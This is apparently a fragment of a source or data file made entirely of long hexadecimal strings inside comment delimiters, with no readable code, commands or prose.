4bf5e1e0806e1b04ac6c2019ed95b54fdfdecb6dee5364d7606630819477a89e3af7d8cc965136572ebc7f78fe2cd03938cb9dbf4fdc955cd0b13b3d2f39f7a4b4041bdaa4799c9cc8087c9c48de684bc19370dcae606e5fe49d3be97d13f150e25c6da9c96ffa13113df3ce18291993d7b27f211f7058bee3e7ed4dada800e6defe75eeca898173b92dc55d53d780bf3ecb45f4b9da2f5fc589033d10ebf79904e414a90032ec86f79517d892307c594975c1759c57be4528acde939502cd0a93dba96fdb5ccdae753f6ecc5dd588712d6adfda412d865eccd972a606132ef54bd4dbb07f3ac7873fe1dd293d6e686ee5e55e7b54591660a974dc4bff968c41d5fb7b4b0613000db173f6d30ec47a473e4e2967d281341987f4e0d8153533efbdcbaf7cf9e6da7fe37d2fb82bfabdb3f5a993922c4e4df2620bc70a27b0c0d24733df608a452d87f0f7b745dd0b746500330dc03cccf7834adbf9002197e2a71c23d2fae3bd9e06c0f9803427cf982248dd9d539a6dbfd31b5427ceedbedbfafc2b012d846accbcfc73a9b70bd6d19f78c4cf9fbd20512bd5eafd17b3a4e7811ea6ec09fc6eb6ef046cc591b07c038c0959e84c6d8274e5c0fd8e9e38cb145bfd2c293107d911c9b717e17cfc998b37798f5363611f051a9c53373c1cf872ddf8a98ce7563cba3462424dfe0d02f2486dc735bcd06f9cdaea9df761cd6b6b68b28ced28bd4e09f209e3319dd217c227fdbe62b5f8dafb702a7942884a634b828efdef46ae1e14b5e065666f3e0838127b795762f4522b700328ae23396a3ff155d51d06dadaaabbc48edbda00bdf63f96151fc787fe9a6519d15529f7fe274f331ed69ebc3fae41ffda272bf20959cf63fe45b50febf37ff55eb9c42646e2fa60d95d087329caf055cf4f1a083ef017dd37f07f8af7e0e4b91ace8c8d2802f8d597eef853356e0766e33952785011c95dc480ce2f2e358d0507d65b06f6bf23ba52d073923817d2a87304f83068618cfb48c0befc59fae50b69f7573ee83ea53bb1dce9d42d8bea5726ed86afab7b5ddb306f8cc339874b6e4107c0bd855d81aa5417f71fc706d8c024b56a3f85f13b9ee157a15311ab78507e6f64e4a40cfc4056bbdc97bb13ef97e378d4b42b91821a1d3c5ebfd0febf8f6e70b881671c250586c0796521014a5531fbe8032007c26ec621962179d42e2f9250f82c92c56ef29951cc65171dc83c12506032adc4634afa6044be4a3038dd8d7b90e5a9dc50ee41384093d9901f1aae8071e22d0544320cf468f9c4ac20e86*/
/*4cabe0282fa724b11fb7a567f377dcf5e74472d829cda0d2be19a4e81327f9beb065e42ee9ba8bc477bcd96fb20325fb10ef785fe22db78896fd73d510fa94e6d004e23cd81ba6a59e9b53b6f29fac54ad8c2753431b15d0122cc215a0886d6374023b0497257cf7122a024bddcf66b0154054b89919ddf361cd8dd6338dcc74062ce658cc367f89555c731734afc652e62acf049fe75285184f14d66c1de2208d26720dde35fdc1a9bf13dc18111d17b95512f3f036c148b2b5b52d1742a7503d1f4c2ca98f18ad693041bb9eb14b0152dd360e3476f8d4c98d54fdeb41abed8087d7a539b150223bfaa712774ec14c1b6a9aca08dace2d21a2e37c5d6949c74e02152e322bea4e3c1287a2339a1c3dca808cfa9505c1a94169a5b2db5c1fb2982a81a7f03ec8b0597a61a8dd7b42893635ea2b9b1c98c61df3bb8b01db300ae78127d169a8484426fb4c7075eebee305ef60864939ee378f65365d70c9c748200086cbdfaa3914e0b3a184d037f9096ecb9f4910f49e6b658e7038dd7c59c4e41fa504bd227fc8f9fec67bf2f0c1592b4f95653795e87e1b68725db036e4b3697e4156265ff6799bab75f42a0fd989be7318de1ed62491069cef89ab1225c7f018722173b5fa3afc6f638599d9ea54138b14aac54221b74839a0b35e6d72d26f22d8df36e43f5b96f02aae0e1f33250ffdc7e98f2d65512d5ae8dd4b50a950e814eee9ef1580fb73eaa9992f5b3a9e1336a5da27b302200b925ac563283f70ec3ea4740225fbb8eac5fc1f11359fedaa67179b549e85b3eb6e132cb2a7882617632e3cbc097412df1fa994e592a23e5a26c7de28cd9571cc18187956c3d625033cac86ac318db61cbd6a1c236934d795f6db8f1a33df7a20ebc0e82163a524be8627558d7fb94f571f5d931cc1f213c74b99cb0f018af11f7b57ff03b47ab6883099b903b7163fe08dff2499bab6977b827727d732d624101d3f78066444b9f8aaa988e3f8d2497b7b413237adaea591d47b6824511a24a51eb0c5a99c23ed630ce405e9d9ad6fe7a8273e226708e13c4904ea07456af56a7556eb0ec147edb2e84bf1b9169ad3fca0dc06215a929003aea44e69a4397cc509c3184e91fb06c46354112df43a8bc203632fd51bb884f3f79230faac57ef35fd2fa8b2f34eaad8f6fd5f81a006f313f2b5b7a0435d6d2c07211c5d85c68095b2befc180449e1eda8accf7f07cfad017f7423f1a549d25b9126054f7854b77c99eff3ef0900ec507e3973bd775d1505dc2f5e57505c5770763b2edbe4711959b7ffb2f825da05df3df714a54124c41ebff57a1070f4c584c3d388b90dcc0305ce6485bc4339e5cadc87ffceb330cdcdf96fdfee0ebea1d7732b358d8772cc151b6427ec1adb66f19a21bcd4d4128a307a93d96d4731f3c6340edeeb766f7e1660de42c8599d5325a70fe5ce846afffc93e77f81798b7b56614223b393734ac29ab4bfb6fd6f4e3af299e0259558f995ac316c9904cb63243700d85030fc4adaa1fbb31fa37ef67bf443c938a0f88716933d91d59ce458ca630d774686b4210819c7cbcdeae581f81fcd2ad9bc376b48ab0d1abf9a19a140eed4d760239d9aef36d86bf8c37b82279f8bcf5568165b9418f61053a96886e436780c1409900503b5d826ec0d81b25bfdaed93e97dc499c0509b5d4eac351cad5e6b41845ae9173b3a2c00c18743a9d5c2a38895dfbb4db6992ec3e981155cd81ba2eb3c517585a4893b2660d5d8ef533662816981f326fdfb86970024eedb89c55e47751776c301563374d737c49fec1caab0a4ffd92f497bc0cd4be7de20748aa59dc1655165d4a0dbddc043dc869c2427e43d01a05fc64bb8f1351aa054ba46db92b786de74c7f67300138aa7dd95fe641abdd004fa5bd5e48d97b47a38ee688734f357f879b5b9228aa99ca18efc727a9c9d2d7267dd186b4f42d81fe7423ddc871a89a6c71552a3f139dc88b8ae90face6cf9c9da5887c4cd3153037d54bfa93a587fd2755e67b18cf092bc6594688c1784f36a6be54c272d5e846a7e9dcb4ca79f3b9451a10eea2714f5617cdaf96956c5d1ad8cf9fb4de5b3a7a7d742cc0ab9d33e175a6fd6962e47050f03295047b591b71fc59109f28abf2381913d05610b03b0ba1678863a7a47490529ebe647ee309c44d8367eb51067019ac982af46b7f804e151f0965f67abccaeb249c70c836c170c9b8ab4d02a733f09128c162ae0206e99ac46c21df5fa545ca7d14cfc6a4a829aa66915ee3876d76709240605745cafd8aa4b711523394af9facb05e9bea410f171949e8f543a0c625ba49c4410b01b99419d0102824f3b7f7c174b028d75a32c1da4e517cd7123a984cb6ff908cbc7b0d508a1a329f9a0a9d31e2b6ca97754a5c3157978ad362dcbd91dac162d72715389348d0657e441100fd29f9215beb83e258554623bebfcee8e1ee8d4b402986e79317b7e5aa4d22804ade4a91f149c0bff304c3f3021c5b34d69fc5f14c77025a6f21043e6fd4e332b290ebc5d3534b6813ba3224cf5d7e06739d66e08dd5ca00d352d8af664982ed1f89f100e822ab14718ce3728c5e86fdeaf89a8071d42d20f1d236dc4ba1620707e69bddbe1de457e2991181de239dc43e2547aaa638fa6d4b605304ea32047e9ee2660f0cd293c1a9ac726284112c899a44948ed51daffc48652525182210517512d30c92a682bafc736c935fca4306dbc0bdd921b8d2080eda0d0834f36e3faef95c050385044753ad377a4df2a6a16346e33a7ce649e41f905db32fc6f1edad7529b0012eccd3879db7e21d490d6d*/
/*f7cd2eb8513a1dd0e598fb80d7d1a3aeb0d3b5ec013abdc9335f1be375f0f9cc3ce86a74b727d6d952bd8df5faea011bafc256cbc3b16e0818dfa794f403f26f0067c2fb48ae411aaf910b19759896cd53e1de02ae400f5403eda76db2eea9fae805294304d4d43c449deb615b9cb9f4c66a71853c9addf2e45f20f8d40d6362a909ba4aaf5426ae35b81698f85eb906f88fe7440aa68a278e6912eaa12ebf14f73b1b445486db057a45a4c7908387afb73d9b6aac6287f02b0ee509fb5ab9833be12597d7d2bd4210c550cbb0bf8b71bd7d2baab92d56977268b1532dd5d46938b336a77dfad3541d97395a5cc2a24ecedde6080e771374d71d05b721928e95e33733115a872d8f4251c3af6dc4028d1cd0d07c71ad9dcd3a04a53e9f37af2fa6f614f1abe84809b52a6a0ea230fb160f944fad7a3a8b5775fd94b1fff573f23172ad15fa9ab17ee0ccaa8034436cbced6d567ba76191fc5c14cdde77ed7f2778e050436d617687b982c1bf64cb4d08991a0ff5b41862d6b807e8b0a5c560423d368c8c4f118bcc0c523e195faf57ad426b57cf2321d774afcbaf399cdcced234885831ecf51230844f75599a480916fb6c841f35223f4c2fa11276552ceafaa2684345b2f42efdd045c6a075374a714923da716ab712f85824c8116f64378587442f539cda708f714031acbb1b2c924e29db5440b97dca268e6c23c134ac36244a4d2608c87cad6791ed789ade997e918ee7dddf6f7a6cfcc0c84a7e5b8739481196b64a0dd61cdb6ebd36859c055dae84d6850fd78e9ebdcccb2645e906521766fad1a80816e2be1be8b416790798e3bac2a60174ce29d48b64cfa97eff2b4fc2b18cc91a763d61aabc0b2050043a0b627a4a4c8d5ca6d209dfd64c137e72b74cfd477c5bc8058f6449ecb494cab94e7e23fdab5a7ece64c1df1caa6e1e60aad841adc4688db7bbfba93c43537c37d4393ad10c02956fcae480f9cc26ea13253464c897991c6eb32f9a3364eabffcb08af5719a414646e131a38e30330759aea0f7f1030daf078d9504f3e5736095c10c262ebf76f0a21523509e2cb4c222703b8ea17ee12a87cc667d7ad347aa756a88d16076611800a0560cfc13c3e30ee9049de8815dc387cf294b8a3ff89780531e6c63c9819a271e510ec295fff5da97dd5a63a6ab29c6945d71840f286e55d4847debd8fcfc673ee4cacb9750949960749338ba07556c4b03f1594fe82641204c6f12abae30a251f2a14a7b387f1fe1eaa37099c6e01a73d8ef048380cc35bea9c44f04b68170ae853c1492e08daead60b60fcd8b0af2a6dcc6f0d6a0906fa4030d6067665c8122431e429a668602da9c01c08d22c3534fd91cacc4173bd554473c4c717a4516f2ad4913ce57197b05b9b687ad488e62ca73e0a726c172042c4cb8489f4bbadf5f6a984c33f160349f78acd4ae2a118e241315c037e718a64f184ae9a5c9bc3317175e60112fc26a1d205a4c95128193c7e63df46f5a93d15b1ac2ca271123a7394804eaac058123a4a18c37486ee12bb92f801ee1988861d83290ccb82d9e57741b62714d4c817c6a26ed91a7289fa7199d8781cd47ca615da746ebab8c2dca76066ae4db2ff7cae3059ff63834eca47e4c8fb9894840cb175465507e6d1a1e8a59173fcb2476fe74f82a200e8698982e684a6f5ab98498b7aef6ed56de1142273cffcc20dee50da01a754ab47cf91904f076337eaaf63435882f3de98157a1d7c23ba86dd46678f161d6de70dec7acc720ed15f9873cb63ed0b90eef86c99eb8c0d3e071f25b1004c9c8609b186eaab24bf200fe46584e68ee78f1f4425fb17b82a5f2355fc3e545da3fa239cef63d7501d702706740fcd381dc8baf56a06f2f62e0d2271b9ca633d027c77dbaa3d92df286294023b56ccb19354f0b905c68e650d653c2999160cf5112e2ab714ec1f2100b2df7d018e41552b3548b7b8505a9ed817fe221acd7850492f95a90e2fb219a9f27a3225b8bea9465a54627ffd29ef2cf150b5d0d449f36311aab99a8fd20ca01d1481a20859dd3a23bbf39c7231cf92f34e3d315fda00bd4111388103b2e44862fc8fda1a84c89075e78786e09cb264ce4c8dcb7b29259ee0c95d23676f5eeb4e17a459072f6c8dc15f73e2522398757b7ee7eacce03c8db13827cbbe62eb717cf17774942d8700d054811c28b09e71ecbe24fda59ece910ef1b17a95eda64dd00a099b7906d183cbaee3139e3a77abb1a47c47d73dd0291b1d94f67cd0c3c488f55c6a58a7976b379bf934174b6d03ee758695ee9522fc59b82dba7e59f59097d8b87e9f725e248aa8bc62de19f04190a8658841973e344946770d9d7f50684d00972e9eed8f0d2dd13c1be5bac3abad8923c375395c063807d08253867f3ff2cbd0a19483aea6e36c07c1c6d4dd49fdc9d6e709b2fb6bf3a6b4e8be24fd46d567ac878739469abc96387bc4ae823a1c10a73f273eb80036fb266ce6fe60179e017273f3cf249a5328a8d9b39635cfb64e7a98ea2e81712cc80be73b98ee4e4d39b758df3576dcb37ac19c086a952ecf69891f9fe8e8dd6091576f1ea6d452db0ff245478b4dee1364ea4115d76920a220df49af6bffba6742e6552bce43f85542458d4353fbbd162e6cd9517a4018ce79208f38db8e4f7a99568cafcfa27ce4df54976b6a4945bcfc818c9e84245f4349165b1f0b68b2847929cdd0dc33ce2b22c1a597fd1e77b334ccbb5a447ed9ff398f02c61058a3c689295be626bca949d76cdcf9ad312afc7f0a3be3eb19ca4b5564d3951f05203a2e01a5ecf90855d638a4e4e46*/
/*54dab8b77b387993b4d63508e227e5457840b0a46b480d9ff7d19d4cd5e1ebd3644b11509532f1a4595eebdc188506d95a7cc1d801f0e6b139221415f7968bd383caea62831cf6d2b3553551e1c3321e10b5e95d93ac628e5b09574ecf0ca5762ed9e8359ae20819818cf4c55bb37dd128709f8c88f8294f36b1935c4ee23222704a30f6d451c77bce646ac7dca4d4519151a9861a6180330d95de9fb47140ea52700307f18d4131f87673910371f9ce88091266bbe334c2bf48f3d404716a22def9aedd5a69aa91f6d0b880966cc03886ebc51e0aea1b86f7fc7388ebb36df7751864fc09321ec7192433d7e9da443256e577483423518fc905356d1251365dea10b2bf79958c0d8fd9902a199c7d144d68c77b5ff80d16aa53e42f2d78b30a617dd5b9b067f60085b960bead03b407b496c9050831c7e667990929aa378c6961bc8c6cb1df1afd3c77edeb6b29618d28863e99b366ad8925ea028fb056bbf0600466311aa1c03f6ed200b872fef414a38224086f17218304df531af0decd7178be6c48721593c2679553330255d18f62236ebf4333322ed8cc713dcd5816365a4d9d7bfe1331e42a1acc01978a925e73ec934d5c9850a31b95d3364b6b73fad6a128a9b79cd7db740ba9c2cf62590dbaa7a9186fed1e47d6f517a68528734c1db17211e39d47c4fb1849be5128af97f5ca246ad658f6073d5f3e5a288348e95eb4168b8bfd9d0d939c2e1983737fd752318f3955e88f7073a8901283d45f38e61367ce579b996911f9f0744c6766fa2a47a8c195bb3acde89da11eb6c60723cbc748bc7464ef9423b035a4034181a3817d4eee0938229bca79b87f0fce6e7185170261ce3747d8a8d479984518f24534d28733f66ce636c070ad14be85202587db1db17ab23c9f990b69adfca186088f6e60c809060218cf22e03d8004330fc45ab6d9253de436368db1806e58bee9a66fadc1bfd3fc342e1bf7c7fe2db56af02af046c22a86c8ad8640bb6ae5f2f6e84bf133d1be1197fc3ca8650781e2d6119df3eb40aae0df1bc03a30d1f2d221a409da6f35e222f6f609eca599adb85792bce489a169cc2a290163d08520723a4a3d187ce5f7fc35629cfb991a3571c103d69df99b5993df59b3eca1e2eaa35d22505e1bbd09ea14a966a1e2463e68e6729c710af8ad9eb084386457093a188e8913985069420a8d7e5125ef6f5be6a86cb35752c724b0dea5b1d95bd858912b5d85d0d7264b163e649430c9fece940cb6ceecc6e91a06c268304c2d682bd2512043f4cd62c0c81c732180aec782b369bb32fef31d812a20998df9f5e40d850f568ce086767a7c1b687b5728f6a947a4f59666b1cb86a2ed5f5cc54f241fe14d8e83b4f4c2e5aaac5f203cc8b01d3cdc6a94ea8f4108a1ff7ab5eb62a136262b09994c115b804ab8563a65c25fce311e0fc5b80523ccef1e960cd94491852f1494ca448fe47fc7937dae71f286aeb6d2ba2981b8938ca63c03d107026857aa95ae1a800ca61a5f9dda99803c84852a97d403f4d4068f2f97cf0b3bdfe7034e297878bfcba7c393ddc7396eea8bd896196d3980b1da4915ba9b0cdce1fccb8e4425f6481a9a6d81a07c80fccf3dd965208a08d06faab01d1fb9e28d5b9898dba88cf5a010a7b4939a4b6a6c8a9908eb901c26c34c522fac378e2f81f0757c696101059c805b57a3f55788dcf913a543041fc0c5e5e4eb8982a54a5962c7844f8aa315d55b7a9520d57b87ca36358298f4d02eb26ffce40b9dd3a01ad7c63be5ee6ebb5c32918e5e03485e196f337f5caf3f1e180df96eef860309f9626334632827935364ba5a38c9efa384e0990d65a816ce09b3ff463c5f39dd605b417a4a1880ebab188eeafdd0af4f6a07c5efe9c6ce82512e0179b8456f7507fde840bac9da6a9d9cb56c46d8ebbc39e6307eac6b326e4eb2d3f6017135936557451a9130703c1a1eec246c31d679d1f23d0a8ff7100a82985882584a737f8e75778a8117b9d041711fa29ef4af6b458f2713099de3a486fcea92ad0527e1e9db8650ca0ab99c70af233460013975aa10526b1398560ea2d86546c95130069ac5dc37439dc04a8bd51b8e13798cdbce21eddd628571a9bdd66ae594f40bb70f6ab87d0dcdfbc241d01b5d853fa32d580f119cdb21b9dc9b2381dd8747456f0f8658668a9c84257940d2c5d8011d3770f786513fe766285a45de9dc14560bd18cda226b0cf49db6d3265b96dffd405c0ce96cb96f0ba905f4b0cd9c2094706f97927087bc9b7a717814c3bfda3dec59f72cab36a3d5ec71a672874a22393d55498ae01e018f025ab88a6d87d419ac5f9e344b61050d6c3f46507a414ec47a909ee58088533ebd03f234b1684b4e99467249eac61889da8484a4bd3d86bf805d9e87d606cd2f0ccd30e80084e0ad1d4c3580c3a3a1c1d978b0ad1bd6c4b9cbc7f2f5da49178066fbde17f1e3b26c941dfd21aeecc83fb13ad0f0f8e2545b172ba6bc0a2a36ac9d162ded71c488077ca894d9b1f634356892bbda35da756555f968e7362e0ee27ffeae3ecf71d327a109d00e4e107875109bb6603452504ff79cbe36b77827486ae9c96d8e7f69c6e96ed6e89750d18ac28f7f7fd3b1348b7742fb5c2c4fa1276fd3c5b63550f399cf3a4776192386558713d0bdec2d04ff7eef4e51a8b2aeaf72a5c92013282f6fe27546212fa329b193ed98d9c6ae285b2c47446134e09645a19ca4a2ae1bc2be1ff41674392f39f1aa9d52cfea5acae7feec7976245bcbfe2c3248e39287fb1a3f18714ecf3f3c4769aa8ca1ac94f8e9eef8454bce70cb3*/
/*1e2b19c37eb39e6e2327d6af787810f77292f4c9302064fa97a7f3b30faa7acad1ef33ec50fe103b26b64682c8b4b84d1b9b5f2c90097a738f916795343a5cb6b1f69b9e86b0384284f478943e54e58944444fe753dd0f2733fea3f68baa4fcd292a72ec38e8dd70a4b68b636dc0fc84f2fd876f17924638c79dc7777abe2b48952c264abad7444084d1b9c166e1d631d2a06642a6c951c5425766fc66153dcba3913db370a12740628a8fc73d7f4fad85861147a8931869f415668af7ddfbd1253c5850653b734419a079dded7debaad75fd6e311af26561dc847b6e42946a4db937a89a59fe34de6d6202f69ffa03a38f2297d3d5829844e697ef1dad46d0ff976a8155e4e60daa5382c4792b80fbbebd9e34123ce866d374fc72edcdc4a695ae2ba27bf70b8b55e6c46f798d9c8ef18e39ef56abf87bed59dab20a8f0ff4ebbce4882dc6d59a9d128f28672821e4b74b17142b570ecba2492a7446097b307288e9671b663743ecfe58d32f60f620b2095fae4a0a2c6742eb8fab000fd9f8ca5553f4bcd90e9295729d99fba7596a819e4afd10933fcbe11715d5bf906f13fb8fdd775b0127012ff39f51933fc70eb872608d2964714cf8f80c349936e2ff362989d14cdb944d346abc5d32d49d5764409c79169d4dc01794128b8db18a890f2edd19c43c0607edceb43c025bf0ab29882dacf141206370fdf83d8dcd34253d93ad6d3750a676ef9d34ebe9f0eeac1d53d3e5db84bed56106d86b0f3f20fa2ce4dbe8fb1ca88dae9eb32fd26cc7cd07759d57ac3b4e7269dab1c0a2acd0e359c49e8310e00bf5d7e94093a4677ad4bf07854c4001d483f808ff64a3c2ddd3c47c687e2b1fe0a35823c67cef61666cf806c2107a2695b237acc130875e71a0d946161e70234c201fc85148d53ca0a70a5a9a75c67f30524a7188f26f3bca0da95055e91c5249482172575f76e9288e91ec5895d77e3e3d675021a16ca4bd9c0a646dc07f9937132b4d8c7c188a9006e203c7435abe7909d6fc629d199181b413237635d146f52af6a94117f2fb45c1558e5661325be0dfc3845be2e7e351ad3ec343637aabe7334e1ffdcc02f742eda9204d5311d2ab816fd33438c10db4e36d3a30993fff9669c4ea072de09d34ee61d361ac957d6278e1044782fd915cdc8ec21db2f8ea27c688f4d02fa80a8ccb307469be7e9635ff8229be8b6c8307d37500f80967ff31faa9247479d215ae9ad4bbd6e513a35e970510943d05595f1b9fb743b942188bf1bcadc72a29bb0acf8bb93cdf952d0380c92061f2f2c017c672733c78db3a102b38bd0d4b1bdf4dfe75367758a4b3713ebedef8a48c00cd82a97d109a619adab32cee277d6ec6854a9a63f6c605db8ea89f7de3d1e7b7380be42eb6cd228cbef956271358db072a0518dc81fe3d0d30741fe340d3cafbe26bdfe6ccd9190c40b3cc0b84bd51de178b146f657850b7b2fcfa58befdd4393f830624d03b301811e5e09d00ea81328f5eeb066462a119ae2fa71639d5d796053f0386e98aa61604a0daf7a9c56112676bd4c80f336deaca9ed7d67679fd2283f7adb974bb77341fdbdb3037afc9a09a45bd30640c65896c1ef0766bdebed1a4bb1741f7416f18cff9ab1e2a5e3d4213e230ce64fcf364b255ef1fc417f9637018beefd1a24537619d594e10cf5b0ffccd2e4009b4b26b8346837a16cbdd437ed75c59d2eb0fe881b9a5a32e7b72066eb7b83ddaf1e9f2eb49d827a50db65f336892412d452ab1f05f72a10e123d65bdee58839bd14a1ae4d0e7c22f863d813d9eea068d5e5834323321b941b3b1b4cf727b399fc82d83f877a6aee7cadd69f8739015ac5c09aa938ac83e027207db0d9acfa964f12df1583b348e08b444cfe553bdc602fd6e8ab90b227e5442a4ef8f12cc4075128fba3b33654eadd6d88113a4ecfd13fff06e418bfd07329fa32b3e0df400b319b272e7c646565a98f098057b4e0f08bf6da74ba22c12a2257adf7427a7b69d0e7dd8eb168475d9117f93cb6c5f63367d53d13d1d819c44df233bd55e09a4669d521e8bc88abee5e4d00bd63950a3a56c23ee506074d48bdb2c3556c4840ce0f980be7189191bd485b2e378b4cb8369b4a171c588ca21ad9f2c7e0210abe6282886b72f04e2837f3f364de76b468c492d9c6aa63c39c921fdea67a8bc0c5968ded87c593f511494b609663d923a57dc23773faf28d5ff3d1b4b8465a4cb4af494bee608a3274d9649f1cac2159dbf4a753475cc81c1b85fec8eef7edc3b0a38a80410e95de67ea355b36219e1364d0105b9e9ceb8437d97c41d6f73ac1e7e2b2721f801be2148c70a60ddcd210e0192b57868798e32f9d6a47311ec1bcc34b4df003b49e4a782d9da49d12cd1bd1bba2ee506e24a113e9af28a276f22fbdf764cf72136f63c47ec0d78400021dabccd8d500733721b6b96a661a78c3d7fc47e6da0fb2de2ca48ccab82f044ddd9986ac547bfa1e58f2bd922d3aad5047d60bb54b2934fbd3b835c9f2b1f3de63eafc2ffca9e7a71442a61c70e376338caf1ec18c22572932bb34a4088c948198a180bbc14006cf6cdc77fa6b450e8d0e868597ac4d7ac1c436f28d6755bcb6f13038b4f3b8295cda76d4bef16408e9d2152cab90300ab4bcc34bd1d942d474b4f015a2939c5ed9d1d25c118195ac86220465c4dd799f1a8901db502cbedcccdf64cec08cc03a65891f631315848e109e76798d08c9ee852770ef61c831910fc626240313b21f06f98e5f36437f1c4b2846b30871bdcf8e35115beb182f8fc42d342f50154cf1f1d2a7c42bb2ed0f8d83*/
/*62e93c82e5b1364ff62e7e20c819d71f17f6912935d028e7876a7d6c31c488ae6f63fa3f55a7c2172e76867907fe62b28d9dba076152f86e2072d445686a0526bfd422b5d93cf37ffb39a640178dcc9b363935ea72d75b4d25010746efc1eaaa6e5e127a58c324b76463f8f6e32ceac5e9d52c6971b335741ab31a5a5305a69564aa58ddcca09b5e489ab76aca53d97f1e959eed74c5171601d2e3b8aaeb4675a6580a7c6e635a9e3145a6afc3df9d6d9f7a07a3112c4d303225d29e4c755d50193de752187e8ca8e29634e9414a7e1ca6fee87cc5d5a4c6b023513701cc374a836602a5cc68244582984011d2926f1586ac9556a68969fe1b16bdc2a1817ddf6b8ccee5e0a42e50e1a0fa3d773c8597a335bedfa0590c68989966f8311cd434e4445d4cd24f9175d3d97a8b90bff8af7d250994bbd5a945ed221b7019d7fc136e83f3a5f779cf70fb66fc10d362a26c144584c0de9a42fe32eb39a222d732759ecbc5866cb8b9f10668da3592a65ce0e0c2f0dc8c65b62ad69f184bc13f5b088785dcf0bcd7113b66863d016ad8cea90e6445b7600526cc97ad8a704f51dc44821ac76e714c8fe19bb5e9b1b47a25093f813aeadcbe78572f5da2e45804c5f71d920bb89f53cc0748587984d6cfe79928178faf193ab01c37b33cd31fc54f9ec41b19aac25691ea13d72bed5e4568f9c9c4a4076a2d962b11179cbb9f7a9cf48398f718c9dee766fc1e81ab7eb8c4acfe31db87070bfb56fc2b3935cc65d7990927a46f06674cf69d79ca08f31fba40f2b9bf6b6c586b07198dd75f83a7ab86325246a9d30f4a75e11a3ae4c1d874f2de9f9c39f44c6fe515eba819a280e61eb976c533ba869547533babf362acfd3fc974a576b5f2c4eb081df976d2cbd367842edd3595a2e086745a60b0b41ded5d5633558fb11f9d873f72e0c50987748f53b657b3882512a1acc7bc1c8e67390475e52506c85d5ef570d443996ac28e8bedbe25590e8e6f19f827bc36055b3f4b9aa371a97368750d3f87c368df0804e9919aaf76ad7eb990d12359059c4cd393bdbcd6aae47ec4d7690616e732a7cb9301e936eef551fdd6bda013402ace469fd8aab89aaac85fa6b104bb50c2b88a0cdefbeafa5be7d325cbd3fc89f5847b2bef4cf44ed976fd7637b0d172f316ff1d2d0d55da60400e4d4a883b958749785d6d40df9fa20171ce940fac5399efe94b37a74aeda755dc72b212bc0b3d4b5816c211d79d82b6d41a7023fde9aa29f1f9808f19dfd658bc300f6384a2767ad5e506ff2579728de6aad0f53cc3ed1d30e4f020baeb4e87dd433809ed04744499a392d4af20e900ecb48c3058aaa611419f275b781150f2d0e3d57e5125f71e368db102fe93fb0135bda57cbd377fa62a82fc8fbc8f627e2ae0815a8a0a6b467a2a4ec7ef2ddb8b27705deeda5c60534214d80e3d3b58afb705e9e5d3415ea8c2230ea95963332ee543ee9d1d856675f26e91176a217c69be3959901640462d08290ded38a68b71b32886d437c912779d338e775e97c66aeefdbe3f171033dc34f16100fccfc448b04b85b2d818d953a5b5eaee3ecae8f700f3dd72f04c7f89f8a75f3035573b690b2e3f7af7b799d70823cad83bb2813d6918f41e08f53040c6babd59c117144ba65b9c5143ca871736cbbbb6abbecd0da609a1703e9483fe6ad58fb2864b3814fdcb5288e8605af370581ec2ff3140528c04a165ac11216585efa8397955f2fda42b1a5324b6d6069a4133f14f6f33fd9e4f2ec96bb4808aac39ec9f6859bcd2d97a4e5187ea424a8f83ebf10bb7cad55acb2533161fff727681bf50df86dc998f0afa36a6707ee121075986272baa6ace51e30e84d8ec6070ba09e2bae30b99d6bfa6e8e4aaeb6fda93d96eaabfecdf679d9f05892626974b8a74357a4f6995cde806ab012fbc46ff7bb216c6b35c9b28b0565825170e4ff94214875778fdf915b5e6ad60399f8cc30d18f7d139e0d3fc55cfb267ea869edca6332f7e2c5142a4f239925b84818304f9da5d5e088bae4944b9f605d43cb82d62848d426ccbf2131c3e97a43d27cc26b15a9584e0e2ba6f5d94e7cab43320650c84d9a52e837f1b48ac8e2386fadde80b7a7b5c417c4c921e526424a1e5e054e3c15a45c0b87e1d20c5ac6f89bb4aedc6dc0019739f9911b98395fda2412d58c65620e5324dfa8af4ea611ebe401d77e7c296d04d8474b13c3cbc61851073cc5213ba9192bcdaa1d84a9eaed510b15340c6a58d986a6dea7f92f18849ad65bf2c228607641d8137ed949029605b5673f2d54cbbca0867e9f7a798f0de7fe17211f1cf02d418376c4d905f35c899bede8fedf0b83da6a8ef6d51eea580d0d7d7d10418ca1a805d02ec4e6f25d99fe99999af0250ec00fbafa7dadcffd0b0555700f9a8f36406b5cdddda2ddaa36532f3b97f9e8a7cc2fb9aa91a549558f080c939205a4f9d4dfcdb28154274cdca0378afa7eb5544c3fe56acdc01f6947f7b940ce1bb091744b8bc69c52cf03dbbe57b5f68e8450b8e222e8783a8c634c7bcd216de7a8575a6d7ab078e14cc333c8f620d8ed6e5d0261eb0d226d2c4006f283337cedc60f7d46349ee9a09b821f13bf4918840c7242e9eb0a13c90742d9678fc58db5f0e8dbc1c9e4b600c0a782b7d31a7cc348e20c8b885c324e119dc139134f5d122ba7a33098cdf09e5acffaef3c0eb2a60038808260e64f3b01d1d74140e10a0fae263f77b000e37bb0da29545b96178e7ac10e0f0d6655bd902fffa3b7784cce475c0bbcbcfc0c3ee6538095111701c60cad2cf8c97a56c06c536b263071f*/
/*5ee3ff88013bb2ff30d1121c06f9de5fce3b38090ab1f1b56d8696944435f6f7b85faf452f8dc2867cee16130517eeb96f84305c0e8f12fd947cb2ee87037add1033d293c3420d918dae8835ddd181ce4a9fb598370a584bbc5e9ad80d9248b7a03bbed5135e6ab1d6926f7bc53ebe4b5eb047da8ff3b288ba80f49b401791cf6b31455afa48766066469b52d1ae9babdd40767392e9122bbf89966510566a74fddb09adc943a0479ac06474a56a0923eb1fecef1aa719a725cea50ef9295c96d30266327a181803460188da46a8183c82a7b0b61bbe0060376fa0d814d38aa512d94c0d8a98b2f42a7634d1617e3358306568e9d58db75098bfc0b50d565a993f83e6f4365ea02aa572b96c588c45d8c16552dc25997d347ca999820ad7586d170668687fed341d7026b9de36dfaac7f7a42e37a315672de1e74b3eca25d822caf21cb8ded08acb6bd9e6b006501cc6c5e464b7c16252cee7f4434e62e1b6aa1d6a0eaacbd4dbd334b7d3680e9a84af2e622aa5ad40591a3a934e37debefa61e156c75f1909fad8c95179cc8747c68a54687928e46e15c4b98add6b3f2c3fbc2b3995ed8cbb69ee1e3a5d279024b9626e73aef8249a478ad3e53cd61aa0564cf9c4d2d6e6f6a7186a01444273081a1aaa40299c913e8421c307b0956a2a1a0d246218fd2b1667c8464e35dd82c1fb0f45f7a7a84460675226bb9c89d06d86a2d4673da26c113e763a5b72c8b73c8b0b70fac9d859d3f3f87078b4ac1fc151d7eedf4f07591764110554f926fe920f6c865cecd0511d84db4b